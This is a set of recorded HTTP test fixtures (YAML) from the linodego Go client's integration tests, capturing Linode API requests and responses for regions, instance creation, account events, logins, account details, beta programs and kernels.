X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestAccountEvents_List.yaml000066400000000000000000000411541455402072200320600ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/regions method: GET response: body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62,139.144.192.60,139.144.192.61,139.144.192.53,139.144.192.54,139.144.192.67,139.144.192.69,139.144.192.66,139.144.192.52,139.144.192.68", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "fr-par", "label": "Paris, FR", "country": "fr", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, 172.232.128.27", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}}, {"id": "us-central", "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-southeast", "label": "Atlanta, GA", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "us-east", "label": "Newark, NJ", "country": "us", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Bare Metal", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-west", "label": "London, UK", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-south", "label": "Singapore, SG", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, {"id": "ap-northeast", "label": "Tokyo, JP", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], "page": 1, "pages": 1, "results": 14}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=900 - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"region":"ap-west","type":"g6-nanode-1","label":"go-test-ins-5k0mfy94hi15","root_pass":"R34lBAdP455LONGLONGLONGLONG","image":"linode/debian9","booted":false}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances method: POST response: body: '{"id": 46936365, "label": "go-test-ins-5k0mfy94hi15", "group": "", "status": "provisioning", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "type": "g6-nanode-1", "ipv4": ["194.195.119.209"], "ipv6": "1234::5678/128", "image": "linode/debian9", "region": "ap-west", "specs": {"disk": 25600, "memory": 1024, "vcpus": 1, "gpus": 0, "transfer": 1000}, "alerts": {"cpu": 90, "network_in": 10, "network_out": 10, "transfer_quota": 80, "io": 10000}, "backups": {"enabled": false, "available": false, "schedule": {"day": null, "window": null}, "last_successful": null}, "hypervisor": "kvm", "watchdog_enabled": true, "tags": [], "host_uuid": "5d091e7cd8be0eda03fd5427bc793e60b152a517"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "719" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "10" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: '{"label":"test-config","devices":{},"interfaces":null}' form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/46936365/configs method: POST response: body: '{"id": 49791866, "label": "test-config", "helpers": {"updatedb_disabled": true, "distro": true, "modules_dep": true, "network": true, "devtmpfs_automount": true}, "kernel": "linode/latest-64bit", "comments": "", "memory_limit": 0, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "root_device": "/dev/sda", "devices": {"sda": null, "sdb": null, "sdc": null, "sdd": null, "sde": null, "sdf": null, "sdg": null, "sdh": null}, "initrd": null, "run_level": "default", "virt_mode": "paravirt", "interfaces": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "525" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"action":"linode_config_create","entity.id":46936365,"entity.type":"linode"}' url: https://api.linode.com/v4beta/account/events method: GET response: body: '{"data": [{"id": 511080170, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": null, "time_remaining": null, "rate": null, "duration": null, "action": "linode_config_create", "username": "zliang27", "entity": {"label": "go-test-ins-5k0mfy94hi15", "id": 46936365, "type": "linode", "url": "/v4/linode/instances/46936365"}, "status": "notification", "secondary_entity": {"id": 49791866, "type": "linode_config", "label": "test-config", "url": "/v4/linode/instances/46936365/configs/49791866"}, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "578" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/instances/46936365 method: DELETE response: body: '{}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=60, s-maxage=60 Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter X-Accepted-Oauth-Scopes: - linodes:read_write X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestAccountLogins_List.yaml000066400000000000000000000075341455402072200320530ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/logins method: GET response: body: '{"data": [{"id": 1563948056, "datetime": "2018-01-02T03:04:05", "ip": "1234::5678", "username": "ErikZilber", "status": "successful", "restricted": false}, {"id": 1563982298, "datetime": "2018-01-02T03:04:05", "ip": "24.63.69.52", "username": "ErikZilber", "status": "successful", "restricted": false}, {"id": 1564542275, "datetime": "2018-01-02T03:04:05", "ip": "1234::5678", "username": "ErikZilber", "status": "failed", "restricted": false}, {"id": 1564542300, "datetime": "2018-01-02T03:04:05", "ip": "1234::5678", "username": "ErikZilber", "status": "successful", "restricted": false}, {"id": 1564542307, "datetime": "2018-01-02T03:04:05", "ip": "1234::5678", "username": "ErikZilber", "status": "successful", "restricted": false}], "page": 1, "pages": 1, "results": 5}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "878" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/logins/1563948056 method: GET response: body: '{"id": 1563948056, "datetime": "2018-01-02T03:04:05", "ip": "1234::5678", "username": "ErikZilber", "status": "successful", "restricted": false}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "170" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestAccountNotifications_List.yaml000066400000000000000000000030021455402072200334130ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account/notifications method: GET response: body: '{"pages": 1, "page": 1, "results": 0, "data": []}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "49" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestAccount_Get.yaml000066400000000000000000000041751455402072200305010ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/account method: GET response: body: '{"company": "Linode", "email": "REDACTED", "first_name": "REDACTED", "last_name": "REDACTED", "address_1": "REDACTED", "address_2": "NA", "city": "REDACTED", "state": "REDACTED", "zip": "REDACTED", "country": "US", "phone": "REDACTED", "balance": 0.0, "tax_id": "", "billing_source": "linode", "credit_card": {"last_four": "REDACTED", "expiry": "REDACTED"}, "balance_uninvoiced": 0.0, "active_since": "2018-01-02T03:04:05", "capabilities": ["Linodes", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "LKE HA Control Planes", "Machine Images", "Managed Databases"], "active_promotions": [], "euuid": "REDACTED"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "687" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - account:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestBetaProgram_Get.yaml000066400000000000000000000032421455402072200313020ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/betas/active_closed method: GET response: body: '{"id": "active_closed", "label": "active closed beta", "description": "An active closed beta", "started": "2018-01-02T03:04:05", "ended": null, "greenlight_only": true, "more_info": "a link with even more info"}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "211" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1200" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestBetaPrograms_List.yaml000066400000000000000000000036211455402072200316620ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/betas method: GET response: body: '{"data": [{"id": "active_closed", "label": "active closed beta", "description": "An active closed beta", "started": "2023-07-19T15:23:43", "ended": null, "greenlight_only": true, "more_info": "a link with even more info"}, {"id": "limited", "label": "limited beta", "description": "An active limited beta", "started": "2023-07-19T15:23:43", "ended": null, "greenlight_only": false, "more_info": "a link with even more info"}], "page": 1, "pages": 1, "results": 2}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Accept-Encoding - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "1200" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" golang-github-linode-linodego-1.28.0/test/integration/fixtures/TestCache_Expiration.yaml000066400000000000000000004377131455402072200315230ustar00rootroot00000000000000--- version: 1 interactions: - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego url: https://api.linode.com/v4beta/linode/kernels method: GET response: body: '{"data": [{"id": "linode/latest-2.6-32bit", "label": "Latest 2.6 (2.6.39.1-linode34)", "version": "2.6.39", "kvm": false, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/latest-2.6", "label": "Latest 2.6 Stable (2.6.23.17-linode44)", "version": "2.6.24", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/latest-32bit", "label": "Latest 32 bit (6.0.2-x86-linode177)", "version": "6.0.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/2.6.18.8-linode22", "label": "Latest Legacy (2.6.18.8-linode22)", "version": "2.6.18", "kvm": false, "architecture": "i386", "pvops": false, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.10-x86_64-linode158", "label": "6.0.10-x86_64-linode158", "version": "6.0.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.10-x86-linode178", "label": "6.0.10-x86-linode178", "version": "6.0.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.2-x86_64-linode157", "label": "6.0.2-x86_64-linode157", "version": "6.0.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/6.0.2-x86-linode177", "label": "6.0.2-x86-linode177", "version": "6.0.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.19.2-x86_64-linode156", "label": "5.19.2-x86_64-linode156", "version": "5.19.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.19.2-x86-linode176", "label": "5.19.2-x86-linode176", "version": "5.19.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.18.2-x86_64-linode155", "label": "5.18.2-x86_64-linode155", "version": "5.18.2", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.18.2-x86-linode175", "label": "5.18.2-x86-linode175", "version": "5.18.2", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.17.5-x86_64-linode154", "label": "5.17.5-x86_64-linode154", "version": "5.17.5", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.17.5-x86-linode174", "label": "5.17.5-x86-linode174", "version": "5.17.5", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.16.13-x86-linode173", "label": "5.16.13-x86-linode173", "version": "5.16.13", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.16.13-x86_64-linode153", "label": "5.16.13-x86_64-linode153", "version": "5.16.13", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.16.3-x86_64-linode152", "label": "5.16.3-x86_64-linode152", "version": "5.16.3", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.16.3-x86-linode172", "label": "5.16.3-x86-linode172", "version": "5.16.3", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.15.10-x86_64-linode151", "label": "5.15.10-x86_64-linode151", "version": "5.15.10", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.15.10-x86-linode171", "label": "5.15.10-x86-linode171", "version": "5.15.10", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": false, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.17-x86_64-linode150", "label": "5.14.17-x86_64-linode150", "version": "5.14.17", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.17-x86-linode170", "label": "5.14.17-x86-linode170", "version": "5.14.17", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.15-x86_64-linode149", "label": "5.14.15-x86_64-linode149", "version": "5.14.15", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.15-x86-linode169", "label": "5.14.15-x86-linode169", "version": "5.14.15", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.14-x86_64-linode148", "label": "5.14.14-x86_64-linode148", "version": "5.14.14", "kvm": true, "architecture": "x86_64", "pvops": true, "deprecated": true, "built": "2018-01-02T03:04:05"}, {"id": "linode/5.14.14-x86-linode168", "label": "5.14.14-x86-linode168", "version": "5.14.14", "kvm": true, "architecture": "i386", "pvops": true, "deprecated": true, "built": 